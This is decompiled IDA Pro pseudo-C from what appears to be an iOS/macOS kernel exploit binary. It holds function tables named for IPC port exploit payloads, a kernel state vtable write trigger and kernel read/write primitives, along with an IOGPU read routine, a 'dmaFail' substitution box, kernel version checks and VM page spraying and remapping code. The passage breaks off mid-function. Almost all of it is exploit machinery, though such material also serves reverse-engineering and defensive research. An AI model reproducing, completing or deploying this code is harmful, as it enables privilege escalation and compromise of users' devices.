// kern_return_t __cdecl _thread_terminate(thread_act_t target_act);
// int __cdecl _uname(utsname *);
// int __cdecl _unlink(const char *);
// int __cdecl _unmount(const char *, int);
// int __cdecl _usleep(useconds_t);
// int __cdecl _uuid_is_null(const uuid_t uu);
// kern_return_t __cdecl _vm_allocate(vm_map_t target_task, vm_address_t *address, vm_size_t size, int flags);
// kern_return_t __cdecl _vm_copy(vm_map_t target_task, vm_address_t source_address, vm_size_t size, vm_address_t dest_address);
// kern_return_t __cdecl _vm_deallocate(vm_map_t target_task, vm_address_t address, vm_size_t size);
// kern_return_t __cdecl _vm_map(vm_map_t target_task, vm_address_t *address, vm_size_t size, vm_address_t mask, int flags, mem_entry_name_port_t object, vm_offset_t offset, boolean_t copy, vm_prot_t cur_protection, vm_prot_t max_protection, vm_inherit_t inheritance);
// kern_return_t __cdecl _vm_protect(vm_map_t target_task, vm_address_t address, vm_size_t size, boolean_t set_maximum, vm_prot_t new_protection);
// kern_return_t __cdecl _vm_read_overwrite(vm_map_t target_task, vm_address_t address, vm_size_t size, vm_address_t data, vm_size_t *outsize);
// kern_return_t __cdecl _vm_region_64(vm_map_t target_task, vm_address_t *address, vm_size_t *size, vm_region_flavor_t flavor, vm_region_info_t info, mach_msg_type_number_t *infoCnt, mach_port_t *object_name);
// kern_return_t __cdecl _vm_region_recurse_64(vm_map_t target_task, vm_address_t *address, vm_size_t *size, natural_t *nesting_depth, vm_region_recurse_info_t info, mach_msg_type_number_t *infoCnt);
// kern_return_t __cdecl _vm_remap(vm_map_t target_task, vm_address_t *target_address, vm_size_t size, vm_address_t mask, int flags, vm_map_t src_task, vm_address_t src_address, boolean_t copy, vm_prot_t *cur_protection, vm_prot_t *max_protection, vm_inherit_t inheritance);
// kern_return_t __cdecl _vm_write(vm_map_t target_task, vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt);
// pid_t __cdecl _waitpid(pid_t, int *, int);
// ssize_t __cdecl _write(int __fd, const void *__buf, size_t __nbyte);
// __int64 __fastcall __chkstk_darwin(uint64_t, uint64_t); weak

//-------------------------------------------------------------------------
// Data declarations

int def_3E8F0 = -17958193; // weak
int dword_4 = 16777228; // weak
int dword_8 = -2147483646; // weak
struct section_64 stru_68 =
{
  {
    '_',
    '_',
    't',
    'e',
    'x',
    't',
    '\0',
    '\0',
    '\0',
    '\0',
    '\0',
    '\0',
    '\0',
    '\0',
    '\0',
    '\0'
  },
  "__TEXT",
  24260uLL,
  242088uLL,
  24260u,
  2u,
  0u,
  0u,
  2147484672u,
  0u,
  0u,
  0u
}; // weak
char a0123456789abcd[17] = "0123456789ABCDEF"; // weak
char byte_42D30[16] =
{
  '\0',
  '\0',
  '\0',
  '3',
  '\0',
  '\0',
  '\0',
  '\0',
  '\0',
  '\0',
  'B',
  '\0',
  '\0',
  '\0',
  '\0',
  '\0'
}; // weak
__int128 xmmword_42D40 = IDA_INT128_C(0x00000000002C4000ULL, 0x0000000000284000ULL); // weak
__int128 xmmword_42D50 = IDA_INT128_C(0x0000000000204000ULL, 0x0000000000304000ULL); // weak
__int128 xmmword_42D60 = IDA_INT128_C(0x00007FF000000000ULL, 0x0000000220000680ULL); // weak
__int128 xmmword_42D70 = IDA_INT128_C(0x0000010000000000ULL, 0x0000000000000040ULL); // weak
__int128 xmmword_42D80 = IDA_INT128_C(0x0000007000000000ULL, 0x0000000200000680ULL); // weak
__int128 xmmword_42D90 = IDA_INT128_C(0x0000000800000000ULL, 0x0000000000000010ULL); // weak
__int128 xmmword_42DA0 = IDA_INT128_C(0x00007FF000000000ULL, 0x0000000200000680ULL); // weak
_UNKNOWN unk_42DC8; // weak
__int128 xmmword_42EC0 = IDA_INT128_C(0x0000000100000001ULL, 0x0000000000000000ULL); // weak
__int128 xmmword_42F00 = IDA_INT128_C(0x0000000100002711ULL, 0x0000271000020A51ULL); // weak
__int128 xmmword_42F10 = IDA_INT128_C(0x00000001000F4241ULL, 0x000F4240000003E8ULL); // weak
__int128 xmmword_42F20 = IDA_INT128_C(0x0000000044444444ULL, 0x0000000043434343ULL); // weak
__int128 xmmword_42F30 = IDA_INT128_C(0x00000000D280000FULL, 0x00000000D280000FULL); // weak
__int128 xmmword_42F44 = IDA_INT128_C(0x00000000FFFFFC1FULL, 0x00000000FFFFFFFFULL); // weak
__int128 xmmword_42F58 = IDA_INT128_C(0x9AC130619AC13041ULL, 0x9262F8429AC03021ULL); // weak
_UNKNOWN unk_42F68; // weak
__int128 xmmword_42F78 = IDA_INT128_C(0xD280847100000000ULL, 0xF94046E0F9000E60ULL); // weak
__int128 xmmword_42F8C = IDA_INT128_C(0xFFFFFFFF00000000ULL, 0xFFFFFFFFFFFFFFFFULL); // weak
__int128 xmmword_42FA0 = IDA_INT128_C(0xF9400000F9400008ULL, 0xB9400100F9401048ULL); // weak
__int128 xmmword_42FB0 = IDA_INT128_C(0xFFC0001FFFC0001FULL, 0xFFFFFFE0FFFFFFFFULL); // weak
__int128 xmmword_42FC0 = IDA_INT128_C(0xB9400000F9400000ULL, 0xB4000000F9400000ULL); // weak
__int128 xmmword_42FD0 = IDA_INT128_C(0xFFC00000FFC00000ULL, 0xFF000000FFC00000ULL); // weak
__int128 xmmword_42FE0 = IDA_INT128_C(0xB828680911040129ULL, 0xB868680952800008ULL); // weak
__int128 xmmword_42FF0 = IDA_INT128_C(0xFFFFFC1FFFFFFFFFULL, 0xFFFFFC1FFFE0001FULL); // weak
__int128 xmmword_43000 = IDA_INT128_C(0x00000000B900001FULL, 0xB900001FF900001FULL); // weak
__int128 xmmword_43010 = IDA_INT128_C(0x00000000FFFFFC1FULL, 0xFFFFFC1FFFFFFC1FULL); // weak
__int128 xmmword_43020 = IDA_INT128_C(0x9400000000000000ULL, 0xB4000000F9000000ULL); // weak
__int128 xmmword_43030 = IDA_INT128_C(0xFC00000000000000ULL, 0xFF00001FFFC0001FULL); // weak
__int128 xmmword_43040 = IDA_INT128_C(0x3904C01FF9000010ULL, 0xDAC10A30F2F9B431ULL); // weak
__int128 xmmword_43050 = IDA_INT128_C(0x0000000000000020ULL, 0x0000000000000100ULL); // weak
__int128 xmmword_43060 = IDA_INT128_C(0xF900000090000000ULL, 0x94000000528007C5ULL); // weak
__int128 xmmword_43070 = IDA_INT128_C(0xFFC0001F9F000000ULL, 0xFC000000FFFFFFFFULL); // weak
__int128 xmmword_43080 = IDA_INT128_C(0x58000001D503201FULL, 0x58000000D503201FULL); // weak
__int128 xmmword_43090 = IDA_INT128_C(0xFF00001FFFFFFFFFULL, 0xFF00001FFFFFFFFFULL); // weak
__int128 xmmword_430A0 = IDA_INT128_C(0xD65F03C0D5033FDFULL, 0xD5033F9FD508831FULL); // weak
__int128 xmmword_430B0 = IDA_INT128_C(0x00000000D50041BFULL, 0x0000000010000000ULL); // weak
__int128 xmmword_430C0 = IDA_INT128_C(0x00000000FFFFFFFFULL, 0x000000009F000000ULL); // weak
__int128 xmmword_430D0 = IDA_INT128_C(0x0000000000000000ULL, 0xF862782100000000ULL); // weak
__int128 xmmword_430E0 = IDA_INT128_C(0x0000000000000000ULL, 0xFFFFFFFF00000000ULL); // weak
__int128 xmmword_430F0 = IDA_INT128_C(0xEB02007FCB010003ULL, 0x910003FDA9BF7BFDULL); // weak
__int128 xmmword_43100 = IDA_INT128_C(0xAA1503E2AA1403E1ULL, 0x00000000A9408388ULL); // weak
__int128 xmmword_43110 = IDA_INT128_C(0xFFFFFFFFFFFFFFFFULL, 0x00000000FFFFFFFFULL); // weak
__int128 xmmword_43120 = IDA_INT128_C(0x8B20603FF9400021ULL, 0x5800000158000000ULL); // weak
__int128 xmmword_43130 = IDA_INT128_C(0xFFFFFFFFFFFFFFFFULL, 0xFF00001FFF00001FULL); // weak
__int128 xmmword_43140 = IDA_INT128_C(0xFFFFFFF002004000ULL, 0xFFFFFFF002000000ULL); // weak
__int128 xmmword_43150 = IDA_INT128_C(0xFFFFFFF00200C000ULL, 0xFFFFFFF002008000ULL); // weak
__int128 xmmword_43160 = IDA_INT128_C(0xFFFFFFF002014000ULL, 0xFFFFFFF002010000ULL); // weak
__int128 xmmword_43170 = IDA_INT128_C(0xFFFFFC1100170000ULL, 0xFFFFFC1100160000ULL); // weak
__int128 xmmword_43180 = IDA_INT128_C(0xFFFFFF9100170000ULL, 0xFFFFFF9100160000ULL); // weak
__int128 xmmword_43190 = IDA_INT128_C(0x0000FF004FF400FFULL, 0x0000000140198099ULL); // weak
__int128 xmmword_431A0 = IDA_INT128_C(0x000000000000041BULL, 0x0000000000000001ULL); // weak
__int128 xmmword_431B0 = IDA_INT128_C(0x0000000000003FA0ULL, 0x0000000000003F40ULL); // weak
__int128 xmmword_431C0 = IDA_INT128_C(0x0000000000003FFCULL, 0x0000000000003E00ULL); // weak
__int128 xmmword_431D0 = IDA_INT128_C(0x0000000000300000ULL, 0x00000000000003C4ULL); // weak
__int128 xmmword_431E0 = IDA_INT128_C(0x0000000000300000ULL, 0x00000000000003C5ULL); // weak
__int128 xmmword_431F0 = IDA_INT128_C(0x0000000000000000ULL, 0xFFFFFFFF80000000ULL); // weak
__int128 xmmword_43200 = IDA_INT128_C(0x0000001000000000ULL, 0x4000000100000001ULL); // weak
__int128 xmmword_43270 = IDA_INT128_C(0xFFFC00383A870028ULL, 0x2E4A0020BAA20010ULL); // weak
__int128 xmmword_43280 = IDA_INT128_C(0x7F14042032E50058ULL, 0xBE60005056350048ULL); // weak
__int128 xmmword_43290 = IDA_INT128_C(0x14000000D280000FULL, 0x14000000D280060FULL); // weak
__int128 xmmword_432A0 = IDA_INT128_C(0xFC000000FFE0001FULL, 0xFC000000FFFFFFFFULL); // weak
__int128 xmmword_432B0 = IDA_INT128_C(0x14000000D280000FULL, 0x14000000D28006AFULL); // weak
__int128 xmmword_432C0 = IDA_INT128_C(0xD5033FDFD5087800ULL, 0xD50343DFD53B4222ULL); // weak
__int128 xmmword_432D0 = IDA_INT128_C(0x0000000000000001ULL, 0xDEADDAB700010004ULL); // weak
__int128 xmmword_432E0 = IDA_INT128_C(0x0000000000000004ULL, 0x0000000000004000ULL); // weak
__int128 xmmword_432F0 = IDA_INT128_C(0x0000000100000961ULL, 0x0000096000000960ULL); // weak
__int128 xmmword_43300 = IDA_INT128_C(0x00000001000F4241ULL, 0x000F424000002710ULL); // weak
__int128 xmmword_43350 = IDA_INT128_C(0x8B284528F9400000ULL, 0x90000000D34EFD08ULL); // weak
__int128 xmmword_43364 = IDA_INT128_C(0xFFFFFFFFFFC00000ULL, 0x9F000000FFFFFFFFULL); // weak
uint64_t qword_43378[3] = { 1073741824LL, 805306368LL, 536870912LL }; // weak
unsigned int dword_43390[3] = { 2u, 2u, 0u }; // weak
unsigned int dword_4339C[] = { 0, 1, 2, 3, 4, 5, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
    0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
    0xFFFFFFFF, 0xFFFFFFFF, 3, 0, 1, 2, 2, 0, 1, 4, 4,
    5, 0 };
uint32_t dword_43428[10] = { 17, 4, 3, 6, 7, 5, 40, 20, 2, 42 }; // weak
__int128 xmmword_43450 = IDA_INT128_C(0x0000000000000002ULL, 0x0000000000000000ULL); // weak
__int128 xmmword_43460 = 17230332160LL; // weak
__int128 xmmword_43478 = IDA_INT128_C(0x0000000000000000ULL, 0x8000000100000000ULL); // weak
uint16_t dmaFail_sbox[256] = {
  0x007, 0x00B, 0x00D, 0x013, 0x00E, 0x015, 0x01F, 0x016,
  0x019, 0x023, 0x02F, 0x037, 0x04F, 0x01A, 0x025, 0x043,
  0x03B, 0x057, 0x08F, 0x01C, 0x026, 0x029, 0x03D, 0x045,
  0x05B, 0x083, 0x097, 0x03E, 0x05D, 0x09B, 0x067, 0x117,
  0x02A, 0x031, 0x046, 0x049, 0x085, 0x103, 0x05E, 0x09D,
  0x06B, 0x0A7, 0x11B, 0x217, 0x09E, 0x06D, 0x0AB, 0x0C7,
  0x127, 0x02C, 0x032, 0x04A, 0x051, 0x086, 0x089, 0x105,
  0x203, 0x06E, 0x0AD, 0x12B, 0x147, 0x227, 0x034, 0x04C,
  0x052, 0x076, 0x08A, 0x091, 0x0AE, 0x106, 0x109, 0x0D3,
  0x12D, 0x205, 0x22B, 0x247, 0x07A, 0x0D5, 0x153, 0x22D,
  0x038, 0x054, 0x08C, 0x092, 0x061, 0x10A, 0x111, 0x206,
  0x209, 0x07C, 0x0BA, 0x0D6, 0x155, 0x193, 0x253, 0x28B,
  0x307, 0x0BC, 0x0DA, 0x156, 0x255, 0x293, 0x30B, 0x058,
  0x094, 0x062, 0x10C, 0x112, 0x0A1, 0x20A, 0x211, 0x0DC,
  0x196, 0x199, 0x256, 0x165, 0x259, 0x263, 0x30D, 0x313,
  0x098, 0x064, 0x114, 0x0A2, 0x15C, 0x0EA, 0x20C, 0x0C1,
  0x121, 0x212, 0x166, 0x19A, 0x299, 0x265, 0x2A3, 0x315,
  0x0EC, 0x1A6, 0x29A, 0x266, 0x1A9, 0x269, 0x319, 0x2C3,
  0x323, 0x068, 0x0A4, 0x118, 0x0C2, 0x122, 0x214, 0x141,
  0x221, 0x0F4, 0x16C, 0x1AA, 0x2A9, 0x325, 0x343, 0x0F8,
  0x174, 0x1AC, 0x2AA, 0x326, 0x329, 0x345, 0x383, 0x070,
  0x0A8, 0x0C4, 0x124, 0x218, 0x142, 0x222, 0x181, 0x241,
  0x178, 0x2AC, 0x32A, 0x2D1, 0x0B0, 0x0C8, 0x128, 0x144,
  0x1B8, 0x224, 0x1D4, 0x182, 0x242, 0x2D2, 0x32C, 0x281,
  0x351, 0x389, 0x1D8, 0x2D4, 0x352, 0x38A, 0x391, 0x0D0,
  0x130, 0x148, 0x228, 0x184, 0x244, 0x282, 0x301, 0x1E4,
  0x2D8, 0x354, 0x38C, 0x392, 0x1E8, 0x2E4, 0x358, 0x394,
  0x362, 0x3A1, 0x150, 0x230, 0x188, 0x248, 0x284, 0x302,
  0x1F0, 0x2E8, 0x364, 0x398, 0x3A2, 0x0E0, 0x190, 0x250,
  0x2F0, 0x288, 0x368, 0x304, 0x3A4, 0x370, 0x3A8, 0x3C4,
  0x160, 0x290, 0x308, 0x3B0, 0x3C8, 0x3D0, 0x1A0, 0x260,
  0x310, 0x1C0, 0x2A0, 0x3E0, 0x2C0, 0x320, 0x340, 0x380,
}; // weak
__int128 xmmword_43690 = IDA_INT128_C(0x0000064000000730ULL, 0x0000030000000060ULL); // weak
__int128 xmmword_436C0 = IDA_INT128_C(0x1000000000000000ULL, 0x0000000000000000ULL); // weak
unsigned int dword_436F0[4] = { 20u, 32u, 20u, 48u }; // weak
__int128 xmmword_43710 = IDA_INT128_C(0x0000000800000000ULL, 0x000000D300000007ULL); // weak
__int128 xmmword_43730 = IDA_INT128_C(0xFFFFFFFFFFFFEFFFULL, 0xFFFF000000000000ULL); // weak
__int128 xmmword_43740 = IDA_INT128_C(0x0000001900000018ULL, 0x0000001600000015ULL); // weak
__int128 xmmword_43750 = IDA_INT128_C(0x0000000000000001ULL, 0x0000000000000000ULL); // weak
__int128 xmmword_43760; // weak
__int128 unk_43770; // weak
__int128 xmmword_43780; // weak
__int128 unk_43790; // weak
__int128 xmmword_437A0; // weak
__int128 unk_437B0; // weak
__int128 unk_437BC; // weak
_UNKNOWN unk_44870; // weak
_UNKNOWN unk_44890; // weak
_UNKNOWN unk_448B0; // weak
__int64 (__fastcall *off_448E0[7])() =
{
  &send_iokit_notification,
  &setup_ipc_port_exploit_payload,
  &prepare_iokit_notification_payload,
  &vtable_call_slot2,
  &setup_notification_extra_args,
  &trigger_kstate_write_vtable,
  &pack_exploit_args_buffer
}; // weak
_UNKNOWN unk_44918; // weak
_UNKNOWN unk_44938; // weak
__int64 qword_48000; // weak
__int64 qword_48008; // weak
__int64 qword_48010; // weak
__int64 qword_48018; // weak
__int64 qword_48020; // weak
__int64 qword_48028; // weak
__int64 qword_48030; // weak
__int64 qword_48038; // weak
__int64 qword_48040; // weak
__int16 word_48048; // weak
__int16 word_4804A; // weak
__int16 word_4804C; // weak
__int16 word_4804E; // weak
__int16 word_48050; // weak
__int16 word_48052; // weak
__int16 word_48054; // weak
__int16 word_48056; // weak
__int16 word_48058; // weak
__int16 word_4805A; // weak
__int16 word_4805C; // weak
__int16 word_4805E; // weak
__int16 word_48060; // weak
__int16 word_48062; // weak
__int16 word_48064; // weak
__int16 word_48066; // weak
__int16 word_48068; // weak
__int16 word_4806A; // weak
__int16 word_4806C; // weak
__int16 word_4806E; // weak
__int16 word_48070; // weak
__int16 word_48072; // weak
__int64 qword_48078; // weak
__int64 qword_48080; // weak
__int64 qword_48088; // weak
__int64 qword_48090; // weak
__int64 qword_48098; // weak
__int64 qword_480A0; // weak
__int64 qword_480A8; // weak
__int64 qword_480B0; // weak
__int64 qword_480B8; // weak
__int64 qword_480C0; // weak
__int64 qword_480C8; // weak
__int64 qword_480D0; // weak
__int64 qword_480D8; // weak
uint8_t algn_480E0[32]; // weak
// extern const CFAllocatorRef kCFAllocatorDefault;
// extern const CFAllocatorRef kCFAllocatorNull;
// extern const CFBooleanRef kCFBooleanFalse;
// extern const CFRunLoopMode kCFRunLoopDefaultMode;
// extern const CFDictionaryKeyCallBacks kCFTypeDictionaryKeyCallBacks;
// extern const CFDictionaryValueCallBacks kCFTypeDictionaryValueCallBacks;
// extern const mach_port_t kIOMasterPortDefault;
// extern NDR_record_t NDR_record;
// extern void *_NSConcreteStackBlock[32];
// extern uint64_t _os_alloc_once_table[]; idb
// extern mach_port_t bootstrap_port;
// extern _UNKNOWN dyldVersionNumber; weak
// extern mach_port_t mach_task_self_;
// extern vm_size_t vm_page_mask;
// extern int vm_page_shift;
// extern vm_size_t vm_page_size;


//----- (0000000000005EC4) ----------------------------------------------------
__int64 __fastcall driver(uint64_t *a1)
{
  __int64 v1; // x19
  uint64_t *v3; // x0

  v1 = 708609;
  if ( a1 )
  {
    v3 = calloc(1u, 0x50u);
    if ( v3 )
    {
      v1 = 0;
      *(uint32_t *)v3 = 131074;
      v3[2] = driver_free;
      v3[3] = driver_init;
      v3[5] = driver_dispatch_command;
      v3[6] = krw_teardown_dispatch;
      v3[4] = driver_close;
      v3[7] = krw_get_conn_port;
      v3[8] = krw_read_iogpu;
      v3[9] = parse_kernel_version;
      *a1 = v3;
    }
    else
    {
      return 708617;
    }
  }
  return v1;
}

//----- (0000000000005F9C) ----------------------------------------------------
__int64 __fastcall driver_free(__int128 *a1)
{
  if ( !a1 )
    return 708609;
  a1[3] = 0u;
  a1[4] = 0u;
  a1[1] = 0u;
  a1[2] = 0u;
  *a1 = 0u;
  free(a1);
  return 0;
}

//----- (0000000000005FDC) ----------------------------------------------------
__int64 __fastcall driver_init(__int64 vtable, char something, struct_krwCtx **krwCtxOut)
{
  __int64 result; // x0
  struct_krwCtx *krwCtxOut_; // [xsp+8h] [xbp-18h] BYREF

  krwCtxOut_ = 0;
  result = 0xAD001;
  if ( vtable && krwCtxOut )
  {
    result = driver_init2(&krwCtxOut_, something);
    if ( !(uint32_t)result )
      *krwCtxOut = krwCtxOut_;
  }
  return result;
}

//----- (0000000000006030) ----------------------------------------------------
__int64 __fastcall driver_dispatch_command(
        __int64 vtable,
        struct_krwCtx *krwCtx,
        int cmd,
        __int64 arg0,
        __int64 arg1,
        __int64 arg2,
        __int64 arg3,
        __int64 arg4)
{
  if ( vtable && krwCtx )
    return driver_dispatch_command2(krwCtx, cmd, cmd, arg0, arg1, arg2, arg3, arg4, arg0);
  else
    return 708609;
}

//----- (0000000000006070) ----------------------------------------------------
__int64 __fastcall krw_teardown_dispatch(__int64 a1, __int64 a2)
{
  if ( a1 && a2 )
    return reinit_and_refresh_krw_ctx(a2);
  else
    return 708609;
}

//----- (000000000000608C) ----------------------------------------------------
__int64 __fastcall driver_close(__int64 a1, char *a2)
{
  if ( a1 && a2 )
    return driver_close_internal(a2);
  else
    return 708609;
}

//----- (00000000000060A8) ----------------------------------------------------
__int64 __fastcall krw_get_conn_port(__int64 a1, __int64 a2, uint32_t *a3)
{
  __int64 result; // x0
  int v5; // w8

  result = 708609LL;
  if ( a1 && a2 && a3 )
  {
    v5 = *(uint32_t *)(a2 + 6424);
    result = 708618LL;
    if ( (unsigned int)(v5 + 1) >= 2 )
    {
      result = 0LL;
      *a3 = v5;
    }
  }
  return result;
}

//----- (00000000000060EC) ----------------------------------------------------
__int64 __fastcall krw_read_iogpu(__int64 a1, __int64 *a2, __int64 a3, unsigned int a4, int a5)
{
  __int64 v5; // x20
  __int64 *v11; // x24
  unsigned __int64 v12; // x25
  int v13; // w26
  __int64 v14; // x2
  __int64 v15; // t1
  unsigned int v16; // w0
  __int64 v19; // [xsp+8h] [xbp-48h] BYREF

  v19 = 0;
  v5 = 708609;
  if ( a1 && a2 && (a3 && a4 || !a3 && !a4) )
  {
    if ( *a2 )
    {
      v19 = *a2;
    }
    else
    {
      v5 = (*(__int64 (__fastcall **)(__int64, uint64_t, __int64 *))(a1 + 24))(a1, 0, &v19);
      if ( (uint32_t)v5 )
        return v5;
    }
    if ( !a4 )
      goto LABEL_24;
    LODWORD(v5) = 0;
    v11 = (__int64 *)(a3 + 8);
    v12 = 1;
    LOBYTE(v13) = 1;
    do
    {
      v14 = *((unsigned int *)v11 - 2);
      v15 = *v11;
      v11 += 2;
      v16 = (*(__int64 (__fastcall **)(__int64, __int64, __int64, __int64))(a1 + 40))(a1, v19, v14, v15);
      if ( v13 )
        v5 = v16;
      else
        v5 = (unsigned int)v5;
      v13 = v5 == 0;
    }
    while ( (a5 | v13) == 1 && v12++ < a4 );
    if ( (uint32_t)v5 )
    {
      if ( !*a2 )
      {
        if ( (a5 & 1) == 0 )
          (*(void (__fastcall **)(__int64, __int64))(a1 + 48))(a1, v19);
        (*(void (__fastcall **)(__int64, __int64))(a1 + 32))(a1, v19);
      }
    }
    else
    {
LABEL_24:
      v5 = 0;
      *a2 = v19;
    }
  }
  return v5;
}

//----- (0000000000006224) ----------------------------------------------------
__int64 __fastcall parse_kernel_version(__int64 a1, __int64 a2)
{
  __int64 v3; // x21
  __int64 result; // x0
  host_t v6; // w0
  kern_return_t v7; // w0
  kern_return_t v8; // w20
  char *v9; // x0
  size_t v10; // [xsp+18h] [xbp-238h] BYREF
  int v11; // [xsp+20h] [xbp-230h] BYREF
  int v12[2]; // [xsp+28h] [xbp-228h] BYREF
  kernel_version_t kernel_version; // [xsp+30h] [xbp-220h] BYREF

  v3 = 708628;
  result = 708609;
  if ( a1 && a2 )
  {
    memset(kernel_version, 0, sizeof(kernel_version));
    v6 = mach_host_self();
    v7 = host_kernel_version(v6, kernel_version);
    if ( v7 )
    {
      v8 = v7;
      if ( v7 != 53 )
        return v8 | 0x80000000;
      *(uint64_t *)v12 = 0x400000001LL;
      v10 = 512;
      if ( sysctl(v12, 2u, kernel_version, &v10, 0, 0) )
        return v8 | 0x80000000;
    }
    if ( !strstr(kernel_version, "RELEASE") )
      return 708616;
    v9 = strstr(kernel_version, "xnu-");
    if ( v9 )
    {
      v11 = 0;
      v10 = 0;
      if ( sscanf(v9, "xnu-%u.%u.%u%*s", &v10, (char *)&v10 + 4, &v11) == 3 )
      {
        v3 = 0;
        *(uint64_t *)a2 = v10;
        *(uint32_t *)(a2 + 8) = v11;
      }
    }
    return v3;
  }
  return result;
}

//----- (0000000000006384) ----------------------------------------------------
vm_address_t __fastcall vm_remap_new_target(vm_address_t src_address, vm_size_t size, boolean_t copy)
{
  vm_prot_t cur_protection[2]; // [xsp+20h] [xbp-10h] BYREF
  vm_address_t target_address; // [xsp+28h] [xbp-8h] BYREF

  *(uint64_t *)cur_protection = 0;
  target_address = 0;
  vm_remap(
    mach_task_self_,
    &target_address,
    size,
    0,
    1,
    mach_task_self_,
    src_address,
    copy,
    &cur_protection[1],
    cur_protection,
    1u);
  return target_address;
}

//----- (00000000000063E8) ----------------------------------------------------
__int64 __fastcall vm_remap_inplace(vm_address_t src_address, vm_size_t size, boolean_t copy)
{
  vm_prot_t cur_protection[2]; // [xsp+20h] [xbp-10h] BYREF
  vm_address_t target_address; // [xsp+28h] [xbp-8h] BYREF

  *(uint64_t *)cur_protection = 0;
  target_address = src_address;
  return vm_remap(
           mach_task_self_,
           &target_address,
           size,
           0,
           0x4000,
           mach_task_self_,
           src_address,
           copy,
           &cur_protection[1],
           cur_protection,
           1u);
}

//----- (0000000000006448) ----------------------------------------------------
vm_region_nesting_result __fastcall query_vm_region_nesting(vm_address_t a1)
{
  uint32_t info[19]; // [xsp+0h] [xbp-70h] BYREF
  vm_size_t size; // [xsp+58h] [xbp-18h] BYREF
  vm_address_t address; // [xsp+60h] [xbp-10h] BYREF
  mach_msg_type_number_t infoCnt; // [xsp+68h] [xbp-8h] BYREF
  natural_t nesting_depth; // [xsp+6Ch] [xbp-4h] BYREF

  size = 0;
  address = a1;
  memset(info, 0, sizeof(info));
  infoCnt = 19;
  nesting_depth = 1;
  vm_region_recurse_64(mach_task_self_, &address, &size, &nesting_depth, (vm_region_recurse_info_t)info, &infoCnt);
  return (vm_region_nesting_result){
    info[6] | ((unsigned __int64)info[10] << 32),
    *(uint64_t *)&info[17],
  };
}

//----- (00000000000064B8) ----------------------------------------------------
__int64 __fastcall compare_entry_by_offset(__int64 a1, __int64 a2)
{
  if ( *(uint64_t *)(a1 + 8) < *(uint64_t *)(a2 + 8) )
    return 0xFFFFFFFFLL;
  else
    return 1LL;
}

//----- (00000000000064D0) ----------------------------------------------------
__int64 __fastcall compare_entry_unsigned(__int64 a1, __int64 a2)
{
  unsigned __int64 v2; // x8
  unsigned __int64 v3; // x9
  bool v4; // cf
  unsigned int v5; // w8

  v2 = *(uint64_t *)(a1 + 8);
  v3 = *(uint64_t *)(a2 + 8);
  v4 = v2 >= v3;
  if ( v2 <= v3 )
    v5 = 0;
  else
    v5 = -1;
  if ( v4 )
    return v5;
  else
    return 1LL;
}

//----- (00000000000064E8) ----------------------------------------------------
__int64 setup_thread_policy()
{
  unsigned __int32 v0[2]; // d0
  unsigned __int32 v1[2]; // d1
  thread_act_t v2; // w0
  struct mach_timebase_info info; // [xsp+8h] [xbp-18h] BYREF
  integer_t policy_info[4]; // [xsp+10h] [xbp-10h] BYREF

  mach_timebase_info(&info);
  v1[0] = info.numer;
  v0[0] = info.denom;
  policy_info[0] = (unsigned int)((double)*(unsigned __int64 *)v0 / (double)*(unsigned __int64 *)v1 * 1000000.0 * 50.0);
  policy_info[1] = policy_info[0];
  policy_info[2] = policy_info[0];
  policy_info[3] = 0;
  v2 = mach_thread_self();
  thread_policy_set(v2, 2u, policy_info, 4u);
  return thread_switch(0, 2, 0);
}
// 6504: variable 'v0' is possibly undefined
// 6508: variable 'v1' is possibly undefined

//----- (0000000000006564) ----------------------------------------------------
void __fastcall sort_compact_vm_regions(__int64 a1, __int64 a2)
{
  __int64 v3; // x10
  char v4; // w13
  __int64 i; // x12
  __int64 v6; // x15
  __int64 v7; // x13
  __int64 v8; // x14
  __int64 v9; // x15
  __int64 *v10; // x13
  int (__cdecl *v11)(const void *, const void *); // x0
  __int128 v12[8]; // [xsp+0h] [xbp-A0h] BYREF

  memset(v12, 0, sizeof(v12));
  v3 = *(uint64_t *)(a2 + 8);
  v4 = 1;
  for ( i = 1; i != 64000; ++i )
  {
    v6 = v3 + 256;
    v3 = *(uint64_t *)(a2 + 16 * i + 8);
    if ( v3 == v6 )
    {
      ++v4;
    }
    else
    {
      if ( (v4 & 0x3F) == 0 )
      {
        v7 = 0;
        v8 = *(uint64_t *)(a2 + 16 * i - 1016) & 0x3FFFLL | 0x4000;
        while ( 1 )
        {
          v9 = *(uint64_t *)&v12[v7];
          if ( !v9 )
          {
            v10 = (__int64 *)&v12[v7];
            *v10 = v8;
            v10[1] = 1;
            goto LABEL_5;
          }
          if ( v9 == v8 )
            break;
          if ( ++v7 == 8 )
            goto LABEL_5;
        }
        ++*((uint64_t *)&v12[v7] + 1);
      }
LABEL_5:
      v4 = 1;
    }
  }
  v11 = (int (__cdecl *)(const void *, const void *))nullsub_1(compare_entry_unsigned);
  qsort(v12, 8u, 0x10u, v11);
  *(uint64_t *)(a1 + 8) = *(uint64_t *)&v12[0];
}
// 19728: using guessed type __int64 __fastcall nullsub_1(uint64_t);

//----- (00000000000066A4) ----------------------------------------------------
void __fastcall grow_vm_region_list(uint64_t *a1)
{
  uint64_t *v2; // x19
  void *v3; // x0
  __int64 v4; // x23
  char *v5; // x21
  __int64 i; // x23
  __int64 j; // x23
  __int64 v8; // x1
  int (__cdecl *v9)(const void *, const void *); // x0
  __int64 v10; // x8
  unsigned __int64 v11; // x12
  __int64 v12; // x9
  __int64 v13; // x13
  unsigned __int64 v14; // x15
  __int64 v15; // x14
  __int64 *v16; // x15
  __int64 v17; // x16
  __int64 v18; // t1
  bool v19; // w14
  __int64 v20; // x15
  uint64_t *v21; // x14
  vm_address_t address; // [xsp+8h] [xbp-38h] BYREF

  v2 = malloc(0x28u);
  v2[1] = malloc(0xFA000u);
  v3 = malloc(0x3E80u);
  v4 = 0;
  v2[3] = 0;
  v2[4] = 0;
  v2[2] = v3;
  *v2 = *a1;
  *a1 = v2;
  do
  {
    address = 0;
    vm_allocate(mach_task_self_, &address, 0x4000u, 1);
    v5 = (char *)v2[1];
    *(uint64_t *)&v5[v4] = address;
    v4 += 16;
  }
  while ( v4 != 1024000 );
  for ( i = 0; i != 1024000; i += 16 )
  {
    vm_remap_inplace(*(uint64_t *)&v5[i], 0x4000u, 0);
    v5 = (char *)v2[1];
  }
  for ( j = 0; j != 1024000; j += 16 )
  {
    vm_region_nesting_result nesting = query_vm_region_nesting(*(uint64_t *)&v5[j]);
